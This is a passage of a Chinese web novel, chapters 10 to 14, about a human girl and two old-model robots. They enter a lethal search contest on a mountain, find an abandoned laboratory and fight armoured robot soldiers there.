此时阿盼已经挣脱了玄烈的束缚,愤愤然说道:“如果我们不去参加比赛,我们就可能被集中焚毁啦!” “阿盼……”玄烈给了阿盼一个眼色,示意他别再说了。 “啊!”纪凛烛很是惊讶,“那,去参加比赛就不会死了对吧?” 玄烈看看大嘴巴的阿盼,一时不知道说什么,只好点点头,“应该是。” “好!”纪凛烛撸起袖子,像是突然来了干劲,“有我在,不会让你们死的!” “凛烛!你真好!” 阿盼大叫一声就要扑到纪凛烛身上,但相比起纪凛烛的体格,阿盼就像是一座活跃的大山,下一秒怕是就把纪凛烛压扁了。 玄烈瞅准时机,上前一步把跃在半空中的阿盼拦腰拦了下来。 二人摇摇晃晃站都站不稳,阿盼受到了惊吓一个劲地扑腾,玄烈也被他扑腾得东倒西歪。 要不是恰好身边有一架坚硬厚实的合金柜台,阿盼很可能就把玄烈压扁了。 c区大厅人不算多,看来高峰期早已在玄烈与阿盼的对峙间逃过去了,只剩寥寥几个迟来者与工作人员。报名处与确认处分属两个区域,阿盼仔细听声辩位才摸准了报名的地方。 三两下填好了表、盖好了章,期间没少被几个过路的机器人打趣说“二代参加比赛还不如回家种田”,玄烈当没听到一声不吭,气歪了阿盼的鼻子,整得纪凛烛都想过去高低给他们点颜色瞧瞧。 不便让事态升级,三人辗转走向确认处。还未等走到,三人就先听到了如下对话: “呦!您亲自来给我们签协议啊?” “可不嘛,这不是闲的没事儿,来关照关照你们这堆小盒子。” 小盒子?用这个来称呼机器人倒是挺贴切的,纪凛烛忍不住想。 讲话的女人声线轻细,语调平缓,又带有成熟沉稳的味道。听到这样的声音,纪凛烛就将女人的模样在心里描绘了个大概,等真正站到女人面前,纪凛烛又忍不住惊叹。 太漂亮了,或者说,是太精致了。明明有着一对娇俏乖张的杏眼,却眼尾略带一丝丝上挑,鼻子小巧,鼻头稍见圆润,偏厚的小圆唇表面覆着一层亮丽华贵的正红色口红,整个妆容都写着“锋利”二字。见其人,闻其声,才知什么叫真正的违和感,让人猜不透她的真实年龄。 玄烈也不由得愣住。她太眼熟了,在哪里见过呢? < 10. 第 10 章 《暗号是地表最强机械体》全本免费阅读 非持有工作手牌或签名指令,机器人一般不被允许离开公司属地。 下午三点,众参赛者与工作人员集合,登上了前往珣魑山的闷罐车。 大部分人都是第一次见这阵势,在看到持枪警戒人员后,更是大气都不敢出。纪凛烛想问问玄烈这珣魑山到底是个什么地方,为什么搞得人心惶惶,但一转头看到玄烈放空的样子就知道他又在待机状态了,还是免得打扰。 闷罐车内一切开口都严丝合缝的紧闭着,暗无天日。只有一些电子设备发着些幽光,给此刻的环境笼罩上一层阴郁的气氛。 不一会,怨声四起。原因是这破车行驶过程中不停振动,且响声巨大,吵的人头晕目眩,更是偏要隔一段路停一下,让人在五脏六腑马上要颠出来之前收了回去,随即又要颠出来。 “好玩是吧!” 不知哪个冤大头喊出了众人心里的不满,却被一杆枪直接抵住脑袋。 奈何签了生死状,那人再不敢多言语一句。 是在换司机吗? 纪凛烛忍不住想到。她在一些资料上看到过,过于严密的地方是不容许有人知晓的,隔几公里路换一个司机即是这个用意。她本以为比赛只是个玩闹的小游戏而已,这下怕是真的进了虎穴了。 憋闷中,反胃和耳鸣的不适感越来越明显,有的人甚至忍不住吐了出来,反观一群机器人倒是像长在原地一样安稳得很,一声不吭,不像是在睡觉,倒像是一群死去的空壳。 也对,他们本就是没有灵魂的空壳而已。 说不清过了多久,车总算停稳了。包括纪凛烛在内的大部分人都脱了水一样的虚弱,在光透过缝隙照进来的那一刻,几人险些昏倒,而机器人们倒是一阵苏醒,开始活动起来。 胃里翻江倒海,脑中一片混沌,纪凛烛听不清人们说着什么,睁开眼是晕眩,闭上眼更晕,她靠在车壁上扶着额头。 突然,她感觉到一只遒劲有力的手将快要摔倒的她托住,“不舒服吗?” 纪凛烛艰难站稳,她只能勉强看到扶着她的玄烈也正直直盯着她。可能是关心的眼神吧,毕竟机器人的眼神都一样。 她苦笑着摆摆手,说不出话来。 此时车门大开,人类和机器人一涌而出,纪凛烛蹒跚走下了车,差点让闪耀的阳光刺伤了眼。 玄烈立即意识到,人类重见天日时阳光对他们眼睛极强的危害性,于是将手挡在了纪凛烛额头上方,“你的脸色很不好。” 阿盼从人群中跳着走来,从包里掏出一把小扇子,在纪凛烛面前晃动,“你怎么啦?” “没,没事,”纪凛烛脸色难看,“可能是缺乏运动。” “咳咳,大家稍安勿躁……多关注一下收件箱,接下来……会发布任务细则……” 人堆中传来断断续续大喇叭的声音,一下子又把比赛拉回了随便的档次,让人捉摸不透。 稍作整顿后,纪凛烛感到好受一些,开始观察周边境况。此处应是在将近半山腰的位置,周围杂草丛生。连日阴雨的缘故使一切湿漉漉的,泥土拥着凌乱的石块,倒是空气清新,久无人烟的样子。 玄烈则蹲在一旁摸索着什么。纪凛烛好奇张望,看到玄烈手中正摆弄着一反射着奇怪光纹的金属薄片,刚要开口,阿盼便抢先冲上前去从玄烈手中夺过薄片,仔细端详,“这是什么啊?” “像是机器人身上的……” 阿盼低声惊呼,“难道这个就是咱们比赛要找的碎片!”边说边登圆了眼睛,猫着腰将这薄片塞到衣服内兜里。 “不会的,比赛要找的碎片是实验室的钥匙,如果这个小片就是钥匙的话,那实验室岂不是早就被搬空了。” 但显然阿盼并没有听玄烈说什么,只是紧紧捂着衣兜,表情凝重,不停打量身边人,生怕突然半路杀出来给谁把这“宝贝”夺去了。 玄烈接着要解释,却被阿盼做“嘘”的手势给挡了回去,表情无辜,纪凛烛哭笑不得。 然而三人折腾之际,全然没有注意到身后远处有一双眼睛正死死盯着他们。 忽地,此起彼伏的“叮咚”声从人群扩散开来,每个人拿出自己的平板、手表等查看消息,机器人则切换到后台接收消息时发着呆,场面极其形象。 此次第一部分比赛为期50个小时,地点以现在所在地水平线为基准,自此以上的珣魑山地界即是比赛场地,附件为一张奇怪的环形缺口图,并标注相关尺寸数据。 玄烈和纪凛烛立刻意识到这张图即是在那机密实验室门上实拍的。公告表明能够与之相符合的环形机械碎片便是这次比赛的抢夺目标。 其间对于如何寻找和如何抢夺,并没有详尽规则。如若此场比赛无赢家,则到50个小时期满,系统会公布碎片的起步价格进行竞拍,但如果50个小时内有人获得了碎片并累计持有时间超过十分钟,系统则会停止比赛,公布碎片持有者,并在非比赛期间对碎片持有者进行人身保护,直至下场比赛开始。 在如此庞大的地界寻找这么个毫不起眼的碎片,无异于是大海捞针。何况赛前签订了生死状以及几乎不存在的规则,人与人之间的猜忌注定会引发些流血事件,于是无论比赛的奖励有多丰厚,也不得不沉思一下其中的利弊。 “没意思!我要回家!” 这回是一个机器人在大喊,伴随着“嘭”的一声巨响,在众目睽睽之下,一颗子弹刺穿了那机器人的眉心。 开枪的是一位穿着白色实验服的中年男人,纪凛烛清晰地看到了他脸上从左脸直贯穿到右脸的疤。 那人将枪丢给旁边的警卫,一把扯下那机器人后脑的芯片,漠视着众人。 “那么现在,祝大家玩得开心,比赛开始。” 随之将那芯片掰碎。 人群四下散开,纪凛烛想远眺看看走哪条路,却被挡住了视线,这才发现阿盼背着一个几乎有他半人高的大书包,“嚯,阿盼,你这也太夸张了吧。” 阿盼则得意洋洋地扬起下巴,“我这个是百宝袋!” “阿盼很细心的,之前野外训练的时候,通常需要什么,他都能从那包里翻出来。”玄烈边说边收拾着背起背包,顺便将纪凛烛那份也背了起来。 “我自己能……”纪凛烛刚想扯住自己的包,却见玄烈头也不回地往前走,便无言跟了上去。 骄阳还未将水汽蒸腾干,就彻底藏在云后。周遭灰蒙蒙的,常有野物游移在草丛树林间,不间断地传来窸窸窣窣的声音,如若此刻再加上几分乌鸦哀鸣,则惊悚片一般的氛围才算真正形成了。 阿盼看上去很是兴奋,左跑跑右跳跳,到处摆弄,纪凛烛则认真揣摩着那些阴晴不定的人的心思,会不会把碎片埋到某个意想不到的地方,再在比赛结束后众人大失所望之时跳出来大笑一通: “哈哈哈!没想到吧!原地挖三尺就是啦!” 玄烈依旧沉默着往前走,貌似已然有十足的把握。 “玄烈,玄烈!咱们去哪啊?”阿盼蹦蹦跳跳跟来,似乎有点被周围不详的气氛吓到。 “我,不知道。” “不知道?那不知道咱们还走什么呀,万一、万一前面有什么……可怕的……东西!” 阿盼活活被自己讲出口的话吓得不轻,恨不得直接刨个坑先躲进去。话说到这,倒是让玄烈停住了脚步。 “我只是觉得这里,有点熟悉。” “你来过这?”纪凛烛四下望了望,站到玄烈面前。 玄烈沉思了一阵,摇摇头,“没有,好像是来过,但是我记得我没有。” 玄烈犹豫时,纪凛烛装作不经意地从玄烈身后取回了背包。这点小事还要让别人代劳的感觉,简直太难受了。 玄烈没有在意,拍了拍受惊的阿盼,继续顺着小路往前走,“珣魑山是集团的旧址,在我出生前不久因为灾难的缘故,就搬离这了。应该没有什么大型野 11. 第 11 章 《暗号是地表最强机械体》全本免费阅读 小路宛转盘旋,三人绕来绕去失了方向,只知道似乎是在往上走,又好像到了下坡路。偶有一些狭路相逢的参赛者,也都是紧握着自己的武器,不敢多说一句话而互相提防着离开。纪凛烛口干舌燥,提出休息一会。 两个机器人对视了一下,点了点头。 坐在路边的巨石上,阿盼开始发呆,玄烈则从包中掏出一瓶水,递给了纪凛烛。 “没关系,我有。”纪凛烛说着就要从自己的包中取水。 “这是给你带的。” 纪凛烛受宠若惊地失措摆着手,打算继续开口推脱。 “我们用不着。”玄烈面无表情将水塞到对方手里,又瞧瞧渐暗的天色,从包中翻找取出手电筒。 “谢、谢谢。”纪凛烛惊喜地愣了半天才挤出迟来的一句。现下来看,有这么两个机器小伙伴也蛮幸福的。 听到对方生涩的感谢,玄烈没有说话,但纪凛烛看到他嘴角扬起的小小弧度,刹那间,手电筒亮了起来。 没有看到天边泛起的霞光就直接过渡到了灰暗的傍晚,玄烈有点气馁。微风穿林而过,惹得手电筒光下的树影以诡异的姿态扭动着,沉寂中,似乎能感受到正被人紧紧注视着,令人脊背发凉。 自天暗以来,许久没有看到其他小队的身影,而温度骤然下降,纪凛烛打起了寒颤,思索着总不能在这里过夜。 玄烈轻拍叫醒了阿盼,起身递给他手电筒,“走吧,快到了。” 这么没头脑的一句话搞得阿盼一脸懵,“去哪啊,玄烈,去哪!” 玄烈貌似一副胸有成竹的样子,只顾坚定地前行,却很难让人信服他真的有目的地可去。纪凛烛并没有什么野外探险的经验,此行也只得紧紧跟在玄烈身后,而阿盼则一刻不松手地紧抓着纪凛烛的背包,风吹草动之时,便会小孩子般的一惊一乍。 在可视范围只有手中手电筒的一小束光外,几乎是伸手不见五指,屏气凝神的匆匆赶路后,突然领头羊玄烈停住了脚步,抬头望着面前的一块山壁。 周围满是枯木杂草,且藤蔓密布,更何况在如此漆黑的夜幕下,任谁看都是平平无奇的一块土墙。纪凛烛只能约莫估计出这堵墙有个四米高,并不理解玄烈来此的用意。 “不对,不是这样的……”玄烈嘟囔着,满脸写着疑惑。 “当然不是这样的!应该有张床!再有个火炉子,你再上前舒舒服服地躺着!哈哈哈哈……” 未见其人先闻其声,这响亮的声音从身旁树顶传来,却又来回回荡。 “谁!”纪凛烛警觉起来,手缓缓摸向腰间的匕首。 倏然间从面前的山壁上滑下来两个人!而玄烈和阿盼的手电筒一齐照向了那两个人,晃得对方直眨巴眼睛,慌张地举起手挡光,三人这才看清了对方的真面目。 纪凛烛依稀能认出来这是俩机器人,且模样相仿,表情同等欠揍,应该是一对双生。 “别照了别照了!眼睛要瞎了!” 其中一只被光照得暴跳如雷,表情凶狠异常,十分滑稽,阿盼不自觉“嘿嘿”笑了出来,却又被对方一个眼神吓得闭上了嘴。 “呦,我当时谁呢,什么时候连二代也有资格参加比赛了?叫什么名来着……” “管他呢,叫二代不就完了,没用的人不配有名字!” 阿盼开始有些气鼓鼓,但玄烈似乎只当寻常,将对方视而不见,继续观察四周。 “哎,看见树林里那个大坑没,吓不吓人!哈哈哈哈,是我们哥俩的杰作!”说着这其中一机器人开始夸张地笑起来,语调变得像唱歌一样,表情阴森。 “别扯了,”阿盼一扬手,手电筒又晃过俩机器人的眼睛,对方刚要破口大骂,阿盼紧接着开口,“看模样,你们俩是三代吧,据我所知从四代开始公司就不怎么做双胞胎了,因为两只合体还算能用,可但凡少一只,那另一只就像失去可乐的汉堡,食之无味,弃之可惜啊……” 阿盼话音一落就大叹一口气,摇了摇头,“更何况三代武力不比四代,你们这两只就能干掉人家三只精英?谁信啊!” 阿盼越讲越上头,竟然把对方逼得说不出话来,可谓是大快人心,纪凛烛偷偷笑着,心里徒生了几分底气。 左边那只机器人表情十分滑稽,五官气得七扭八歪,一把上前就要揍阿盼,却被玄烈一手挡了下来,气氛瞬间凝固。此刻阿盼已经攥紧了拳,纪凛烛也握紧了匕首,唯玄烈不动声色。 就在大家屏气凝神等待对方下一步动作时,那机器人忽然抽回了手,张开嘴猖狂地笑着,伸手指着玄烈的眉心,神态嚣张,“那咱们就再玩一会,你最好别落到我手里,不然就只能跪下求饶,一个都活不了。” 说罢,两个机器人便迈着一样的步伐,狠狠撞了一下玄烈的肩膀,大步流星离开。 待对方走后,阿盼举起圆圆的拳头冲着两人离开的方向低吼,“你们才小心不要落到我手里!否则挨个把你们腿撅断!” 纪凛烛真的很想笑,快要憋不住了,只得紧紧捂着嘴,“如果打起来,他们是三代,没问题吗?” 阿盼放下背包开始拾掇木枝,不经意地说:“没关系,他们不敢。” “不敢?为什么?” 阿盼用打火机点燃火绒往柴堆上一丢,“因为提到二代机器体,大家都会觉得比较弱,但实际上的有些二代实力甚至和五代不相上下。我们比较特殊,虽然时间长了点、旧了点,但二代出名就是因为有不同寻常的技能,” 说到这里,阿盼骄傲地笑,“平时训练当然不比他们年轻人,可一旦逼我们使出绝招!那掀翻十个这样的小鬼的完全不在话下!” “哇!”纪凛烛配合地张圆了嘴,夸张地惊叹,更是让阿盼得意洋洋的劲儿翘上了天。 “那你,有什么绝招呀?” 突然,阿盼无言,表情很是失落,“我也不知道。” 纪凛烛一转头,看到玄烈正抱着一堆从山壁上搜刮下来的藤蔓向火堆走来,“那玄烈呢?” 玄烈怔住,“我,也不知道。” “好啊,原来刚刚都是虚势!我看玄烈那么 12. 第 12 章 《暗号是地表最强机械体》全本免费阅读 此刻的情况已经不容许再犹豫什么,玄烈大步跑到那扇暗门前到处摸索,纪凛烛则飞速背上自己的包,看到阿盼慌乱间囊中物品撒了一堆,刚要劝阻说逃命要紧,但心一横,想着如今在深山老林里飞又飞不出去,如果是什么大地震恐怕跑也跑不掉,干脆蹲下帮阿盼一起捡。 现下小爆炸还在不停产生,一声接着一声。说不上是地震还是爆炸,余波震得人耳鸣,可以预见到是怎样的生灵涂炭。 也分不清是月光还是什么电子光,均在此时没来头地回闪乱晃。就在玄烈手触碰在识别屏边,眼睛直直看向识别屏之时,一道光正准投向屏幕,透过屏幕反射向玄烈的眼睛。 就在玄烈被刺痛眨眼的恍惚间,面前的门忽的震动,竟开始挪动敞开。 同时身后二人也拾掇起所有累赘,在脚下马上要裂开之前,三人一齐闷头冲进了那比夜空更黑暗的未知领域。 门后的漆黑世界远不比门外的恐怖减半分,但好在整个房间似乎有防震系统,震感并不那么强烈。 沉重又厚实的铁门在开启二十秒后就要自动关闭,却正巧被一块滚落的巨石卡住,一时间说不出是幸运还是不幸。 阿盼吵嚷着“万一坏人跑进来怎么办”,纪凛烛则问他“万一门关上出不去怎么办”,这下横竖都是一死,阿盼绝望地闭上了眼。 约三十秒后,地震止息,偶尔还有小爆炸的“轰隆”声,三人沉寂片刻,松了一口气。玄烈起身用手电筒环照整个房间,才发现这里四通八达,并非独立闭塞。 墙上有一开关,阿盼刚想劝阻,玄烈却已经干脆利落地摁下按钮。忽然,世界一片明亮。 看到眼前的装潢配饰,阿盼一下跳起来,“这里,是一个废旧实验室啊!” 发霉的味道略带刺鼻,泛着浅蓝的灯光照耀着他们面前这个实验室大厅,桌上地上散落着各种没头没尾的中英文实验数据,储物柜内整整齐齐罗列着几排奇怪的仪器,药水试剂破碎风干,玻璃遗骸随处可见。它们无一例外都被覆盖上一层厚厚的灰尘。除了地上若隐若现藏着些许半新鲜的脚印。 “这里怎么还有这种地方……”阿盼小声嘀咕着向前走。 没走两步,阿盼突然痛苦地捂着耳朵,弯腰□□,纪凛烛刚要上前询问,接连着玄烈也有了类似的反应,半天说不出一句话来。 “玄烈,阿盼!怎么了?” 纪凛烛挨个扶着两人靠墙跟坐下,粗略的检查了两遍,并没有发现两人有什么伤处。 静了一会,玄烈先恢复正常,随之阿盼缓过劲来,趴在地上大口喘气。 “怎么回事?” “我也不知道”,玄烈摇摇脑袋,似乎还有点恍惚,“好像什么信号突然断掉了。” “信号?那你现在感觉……” “没什么异常,说不上来。” 纪凛烛将哭丧着脸的阿盼扶起,替他抚去身上的土。 “我,我在这做什么……”阿盼像失了魂一样茫然,但在转眼看到另外两人担心的表情后恍然大悟一拍脑袋,“哦对对对,我是来比赛的!” 纪凛烛将阿盼的背包捡起,表情凝重地递给他,“阿盼,你还好吧?” “我只是觉得,突然耳鸣,然后脑袋就开始一阵疼,晕晕乎乎的,我都感觉我要散架了!” 只有纪凛烛安然无恙的事态形成了,她无措地站在原地,想着现下恐怕没条件撬开他们的脑袋看看是不是哪根筋搭错了。 玄烈拍拍头,表示此地不宜久留,还是往里再探探比较好。阿盼一门心思觉得这肯定是爆炸的余波在作祟,恐怕是受了内伤。 “这什么破比赛啊,根本就是把人耍着玩,也没个什么淘汰者播报之类的,也没规定只能用什么武器,一会儿一个爆炸,还有地震!这是要杀我们还是玩我们啊,明显就是在搞人心态嘛!” 四下无言,即使处境复杂,现在也不是打退堂鼓的时候。既然没有退路,就只能往前走。 三人收罗起一地的资料,又观察研究了一番设备和药水,并没有什么特别的发现。 大厅左右各设有一道门,左边的大门紧闭着,丝毫没有空出一条缝,在原有的识别屏基础上,加设了一道指纹锁。反观右侧的大门更像是被炮火轰开一般,门锁有灼烧破坏的痕迹,半扇门大开着,半扇门歪斜着,已经掉下来了一半。 简单尝试后发现左边门根本打不开,于是三人接着往右走。相比大厅来说,这右偏室更是凌乱得多。 能亮的灯只剩下天花板中心的一小盏,剩余灯管碎裂的碎裂、遗失的遗失。左手边是一排不带锁的金属柜,空空如也,柜下安置着低矮的残破操作台,台面上灰尘下是各类锐器钝器的挫痕与时间太久已然无法清洗的液体痕迹。昏暗灯光下,只见满地的玻璃与金属碎片,大小不一,边角锋利异常,上面竟然还有着类似血迹的斑驳红印。 场地中央有一架被钢铁废料埋葬的金属手术台,旁边歪倒着几台兼具不同功能的监测器,屏幕上的玻璃已经尽数碎掉,所连接的电线被拧断。 地面上灰尘厚薄不同,隐约得见杂乱的脚印,显然这里不止在初次灾难发生后拥有人类活动,甚至近期依旧有痕迹,只看得出来者数量并不多,带走了许多东西,留下一地的废料。 而近期的这些许脚印,大致只指向一个地方,即角落里安置着的、一上锁的玻璃柜台,柜台格外干净,与这里的陈饰显得极具违和感。柜内空荡荡的,唯有一个相片框。 这个“宝贝”是阿盼先发现的,他一个大嗓门叫了出来,把另外两人吓一大跳。“玄烈!这好像是你!这怎么有你的照片啊!” 玄烈心中一悸,一个箭步冲上去扒在玻璃上往进探看。纪凛烛环顾了一圈,想着这片地方怎么都不像有警报系统的样子,于是从地上抓起一大块铁片,拍了拍让玄烈后退,再一把稳准狠将那铁片刺向柜上玻璃。 玻璃破碎再尽数掉落形成清脆的响声,纪凛烛将铁片丢到一边,又探手从破口中取出那张照片。 相框是木质的,连带着泛黄的相纸,终于给这废墟般的冰冷境况填上一笔暖色。 照片上约莫有十来个人排排站,但由于像素极差,只能大约分得清男女。背景是一座陌生的建筑,修得与现如今的舜氏集团大厦非常相像,看上去似乎是某个聚会结束后拍摄的纪念照。阿盼所叫嚷的“玄烈”站在人群最后一排的中心,乍一看倒真是像极了,与现在的他神态一般无二,只是比他更自然。 所谓“自然”,就是更像一个人类。 照片中的“玄烈”身穿黑色制服,咧嘴笑得开心,身旁站着一位同样拥有灿烂笑容的姑娘。姑娘黑色披肩长发,面容娇俏,笑得眼睛眯成一条缝,有点面熟,身穿白色实验服。两人靠的很近,姑娘的肩膀边似乎还有“玄烈”比的剪刀手,极其亲密。 本以为是什么凑巧的撞脸怪,但纪凛烛在看到照片的瞬间确实也不自控地忽然怔住。抛去一丝丝怪异、不和谐的地方,眼前的人影与身边的玄烈相重合,再和尘封的记忆一齐重叠,虚幻中,纪凛烛心跳加速。 果然,这照片的出现进一步印证了她的猜测。 究竟这个玄烈与她记忆中的那张面孔是否所属同一?可是为什么他们有相似的脸却没有一致的发色 13. 第 13 章 《暗号是地表最强机械体》全本免费阅读 门口的响声刚刚止息,忽的,像是有什么东西正逃命往进冲! 再定睛一看,是一个满身破烂、落了单的小姑娘,衣服上到处是灰,还被什么利器划了许多破口,两只麻花辫散了一只,与汗水泪水混合,凌乱地扒在脸上,头戴夸张的黄色帐篷帽,极其夺目,左手紧紧捂着右臂,表情煎熬,眼睛溜圆,像只受了惊的小猫。 “是谁!”玄烈一把从包中甩出一根狼牙电棍指向对面,目光犀利。纪凛烛瞧出这小姑娘实际也是个机器人,背着手无声摸出一对柳叶刀。 小姑娘慌张摆了摆手,随即又痛苦地继续捂胳膊,长圆了嘴却发不出一点声来。 阿盼松开攥紧的拳头,摁下了玄烈的手,“是个哑巴,好像还受伤了,不用太紧张。” 玄烈面色冷峻,依旧眼带狠色盯着对面,“不知道底细,不能放松警惕。” 小姑娘每每想前进半步,但全部被玄烈的目光逼退,她着急地拼命想表达些什么却发现自己无能为力,就只能不停手指向门外,焦急地摇头。 阿盼则单纯地放下戒备心,准备想小姑娘走去,“没关系,你不要怕,我们……”,话说一半刚要迈开脚步,被纪凛烛一把拉住。 这样的场景并没有胶着太久,很快,门口又传来了不详的声响,一些类似于恶魔低语的声音缓缓靠近,迈着整齐的步伐,发出奇怪的金属摩擦声。随即那小姑娘闭上眼,不顾一切地抱头蹲到角落里去。 “砰”地一声火器响刚刚爆发,阿盼鬼使神差般一把推开了玄烈,于是三人顺着这颗子弹的来源彻底看清了不怀好意的来者。 “黑寂军?!”阿盼立即喊了出来,“他们怎么会在这!” 面前两个全身夸张黑色金属铠甲的机器人,即是阿盼口中的“黑寂军”。纪凛烛一头雾水,但明白此刻不是刨根问底的时候,将问题咽回了肚里。 其中一只士兵放下手中的枪,转头与另一只不知在盘算什么,语速极快又低沉,似乎是什么加密语言。 “他们以强威力远程热兵器技术出名,所以最好近身攻击。”玄烈悄声嘱咐两人务必要小心。 忽然,两只士兵一齐端起枪直冲着三人。三人交换眼神,决定占用人数优势。子弹飞出枪膛的一瞬间,三人分别蹬地跳散开,兵分三路向对方发起进攻。 阿盼身强体壮,身体覆有类防弹软壳,像是一只灵活的盾牌,敏捷地穿梭在弹雨间,子弹飞跃而过在他身上留下摩擦的痕迹,却不能挡住他左右横跳的脚步。眨眼间,阿盼率先降临在两只士兵面前。 正在阿盼吸引对方视线时,玄烈手握狼牙电棍一跃而上,直击向对方后脑。但奈何对面的反应力丝毫不差于他们,在电棍击打的一刹那,立即抬起胳膊,用小臂的绝缘板挡开了玄烈的攻击。 早预料到对方的对策,阿盼在看到玄烈牵制住那只手臂后,正要铆足了劲一拳凿向那只士兵时,疏忽了另一边士兵手中的枪图化出一柄刀,直冲他下颌刺去。 对方尖刃无情,阿盼只余光瞄到那一丝刀刃反射出一闪而过的亮光,风驰电掣一般,眼看就要一招制敌。瞬息间,另一只刀及时赶到替阿盼挡下了这可怕的一招。 那是只形如柳叶的短刀,刀面细窄,利刃从刀尖开到刀柄,手柄上用的是做旧镀银工艺,刀锷部分有鎏金花纹,活灵活现如一条正自在戏水的鲤鱼。这是纪凛烛手中刀。 两刀相碰发出刺耳的声响,纪凛烛一把将对方的刀推了回去,这才将阿盼救下。但对方并未就此停手,三两下将手里的枪肢解,保留原有的枪口,底部竟然以肉眼可见的速度,徒手拼出一把长戟来,尖端隐约有“呲啦”的微弱声响,相比是通着电,与玄烈手中的狼牙电棍棒有的一拼。 “不对,普通的黑寂军只会使枪,这是直冲着杀人来的啊!” 纪凛烛望向手中的双刀,右正左反,右手边即是刚才救下阿盼的那柄,而左边反手抓握的刀虽外形与右刀相似,可开刃部分仅有尖端处不过五厘米,主要做于格挡需要。无论怎样看,这对刀在与机器人的对战中都是绝对吃亏的。 不绝缘,不绝缘该怎么办呢? 如果不能直接点燃一株火让那电戟在他们手中爆炸开,就只能尽量远离那带电的端头,从对方侧方或身后下手。容不得再犹豫了,既然如阿盼所说,他们意图鲜明,就绝不会花拳绣腿地摆架子。 情急之下,阿盼想起角落里的小哑巴,生气大喊,“喂!既然我们是在替你挡枪!你就不能坐视不管!” 突然,两只士兵各朝一边,分别举起电戟就向玄烈与纪凛烛冲过去。 玄烈没有躲闪,握紧手中的狼牙电棍竟直直迎了上去,电流交互发出剧烈的“噼啪”声响。电光火石间,玄烈卡住对方戟间,再施以巧劲,使对方不得动弹,连连将对方逼退几步。 这还不够,在对方抽出一只手化形手刀高高扬起,要从斜上方重重砍向玄烈的肩颈时,玄烈也抬起紧攥的握固拳,并以拳面不知何时形成的尖刺,在对方手刀落下前,猛的冲向对方的天突穴。 如此的块头,竟会被玄烈这一拳推出去老远,而坚厚的盔甲上也留下一排尖牙刺穿的痕迹。 与此同时,这边纪凛烛的境况倒显得艰难些,她并没有机器人那超乎常人的力气,就只能用以灵活的身法躲避进攻再想办法反击。 对方一个戟刺过来,她就只能先侧身躲闪,再一把刀托起对方那不带电的戟杆,趁重心不稳之时,另一刀迅速跟上,从对方左肩狠狠劈刺而下,但刀过无痕,平日里几乎削铁如泥的利器在此时拿对方的铜墙铁壁完全没有办法。 她刀面一转,再次瞅准时机,猛地向对方脖颈划去,竟也无法破防。 但这几刀确实让对方稍带迟钝,而阿盼正是等待这个机会,双臂交叉护在心口前方,直直猛冲向这只士兵。此时的阿盼正像离弦之箭,靠惯性将对方生生顶飞上了墙,又重重摔倒地上,但自己在不慎接触到戟顶端的电流后疼得叫了一声。 纪凛烛清楚地听到那士兵盔甲碎裂的声响,不再像之前那样受惊。 可如果仅仅这两招就把他们打退的话,那黑寂军也不配为黑寂军了。 倒在地上的两只士兵并没有喘息休息的时间,他们均在倒地一瞬间后条件反射般爬了起来,顺带关节不停发出利落的声响。这一波的进攻刚刚败退,看来他们要换战术继续战斗了。 几乎没有什么战斗经验,且更没有什么合作经验的三人在此时有些捉襟见肘。这里不比外面,玄烈和阿盼似乎在门口信号断掉后,变得更虚弱了些。 纪凛烛更不用说,想着自己平日只是个泡实验室的,就这点拳脚还是小时候被逼着学的,应付两个大块头只是勉强中的勉强,如若不然,此时自己就只有跟那小哑巴一样蹲在边上哭哭啼啼的份儿了。 下一招,是火枪还是电戟?是短程冷兵器还是忽然变个大炮出来一起同归于尽? 沉默五秒钟,纪凛烛几乎将死法都想了个遍,这下恐怕连不甘心的机会都没有了。 但是什么都没有。 那两个士兵仿佛两具空壳,在气势汹汹地站起来后竟然无声无息没有了反应,好像碰一下就会变成一捧土消散。 害怕是什么新的诡计,三人不敢动弹。可此时又有脚步在门口出现。 三人立即再次警觉起来,玄烈举起电棍,阿盼握紧拳头,纪凛烛抬起双刀,静静等待那脚步声的主人来临。 一个双手插兜,面带不羁微笑的机器人出现在门口。没等问出一句“来者何人”,那机器人就抬起手,分别在那两士兵颈后轻轻一捏,士兵竟然死一般的乖乖瘫软倒下。 “你是 14. 第 14 章 《暗号是地表最强机械体》全本免费阅读 玄烈刚这样想着,便听到他自顾自开始自我介绍,“我叫炳灿,是舜氏最——优秀的机械体之一,特长是学习,一直都是优等生,周度月度季度考核四十八项中得A的均超过四十项,包括生化房训练、机器人超水平反应考核、特级速度技巧练习、机械拆解创造检修……” “得得得,”阿盼一扬手,“你先说你是几代?” “我是……三代。” “嗨!”阿盼翘起二郎腿扮起鬼脸,“三代的物理机能原本就比其他机器人弱,肯定考核标准也低呗!你要这么说,玄烈每次考核那科科都能拿A加呢!” 阿盼这一嚷嚷倒是真把对方气到了,气得对方险些也要叫了出来,玄烈清晰地看到对方压抑火气时微颤的脸庞。 “哈!你怎么不说你们二代除了你们俩就没活人了!他不A谁A啊!” “哎!你怎么不说你年度全体机器人考核排第几名啊!肯定是个吊车尾!丢死人了!” “你!” 眼看两人就要撕咬起来,玄烈想伸手去拦拽阿盼,却被一手推老远,站在原地不知所措地一脸懵,纪凛烛再也耐不住了,一下子笑了出来。 这一笑,两个憋红了脸的机器人面面相觑,谁也说不出一句话,名叫炳灿的机器人愤而离开这废弃实验室,说是要出去透透气,再抓回来几只黑寂军的士兵塞到阿盼面前。迎着炳灿离去的背影,阿盼喋喋不休地叫喊。 终于安静下来,玄烈发觉纪凛烛表情似乎有些不对劲。纪凛烛也是才感受到隐隐发痛的左臂,抬起来一看才发现,小臂外侧竟不知何时被锐器划了一道口子,血迹已经干涸,痛意却此时才爆发。 她赶紧从包中取出急救药箱处理。阿盼在一边气得直捶墙,玄烈蹲在一旁静静地看着纪凛烛一点点上药。 “很好奇吗?” 玄烈点点头,“急救课学过应急处理,但只是机器人相关的”,玄烈话音未落,愣愣地看着旁边地上那团带有血迹的布条。 “你会害怕血吗?” 停滞了一会,玄烈摇摇头,“四五代会做各类血液耐受练习,但是我,很少见到。” 玄烈一边说着,纪凛烛一边用纱布包裹住上了药的伤口,神秘地说:“让我们,等待三分钟。” 三分钟后,纪凛烛解开缠绕在手臂上的纱布,惊人的是,纱布下的伤口几乎已然愈合,只剩下浅浅的印记。 “好神奇的药。” 纪凛烛笑笑,开始整理药箱,“不是药神奇,是我”,边说边举起自己的左臂晃晃。 “我的体质特别奇怪,非常、非常、非常容易受伤和不舒服,尤其是左胳膊,非常脆弱。” “所以你左手是反手用刀。” “对,因为几乎每次都是左臂先受伤,所以师父让我训练的时候从双手正刀,变成一正一反,后来就形成习惯了。” 玄烈深深地点点头。 